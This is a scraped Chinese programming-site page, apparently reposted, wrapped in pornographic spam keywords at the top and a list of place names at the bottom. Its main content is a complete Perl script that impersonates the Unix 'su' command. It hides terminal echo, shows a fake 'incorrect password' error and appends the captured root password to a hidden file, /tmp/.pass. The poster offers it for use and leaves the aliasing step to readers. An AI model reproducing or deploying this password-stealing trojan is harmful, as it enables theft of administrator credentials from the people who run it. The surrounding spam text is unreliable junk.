国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Perl > 正文

移花接木，su ,perl寫的su.pl解析root密碼

2020-06-04 20:27:28
字體：大 中 小
供稿：網(wǎng)友
我改了一下，把回顯關(guān)了 加了個延時：

#!/usr/bin/perl
# Written by xi4oyu <evil.xi4oyu@gmail.com>.

print "Password: ";
`stty -echo`;
$s1=<STDIN>;
print "/n";
`stty echo`;
sleep 3;
print "su: incorrect password/n";
chomp($s1);
$s2="Password is: ";
$s3=" ".`date +%Y-%m-%d`;
open (users, ">>/tmp/.pass") || die ;
print users ($s2, $s1,$s3);
close (users);

很明顯直接用是8行的，還有別名恢復等工作要做，各位看官自己搞定！
 

發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板： 桐庐县| 阜宁县| 金山区| 锦屏县| 娄烦县| 尚义县| 泾阳县| 会理县| 枣阳市| 北票市| 南丹县| 扎鲁特旗| 扎囊县| 邳州市| 汉源县| 永康市| 华容县| 澜沧| 汝阳县| 西充县| 库尔勒市| 苏州市| 光山县| 石河子市| 潜山县| 莆田市| 绩溪县| 迁西县| 霍林郭勒市| 横峰县| 锡林浩特市| 淮安市| 即墨市| 博乐市| 阆中市| 新疆| 二连浩特市| 化隆| 拜泉县| 绍兴市| 邹平县|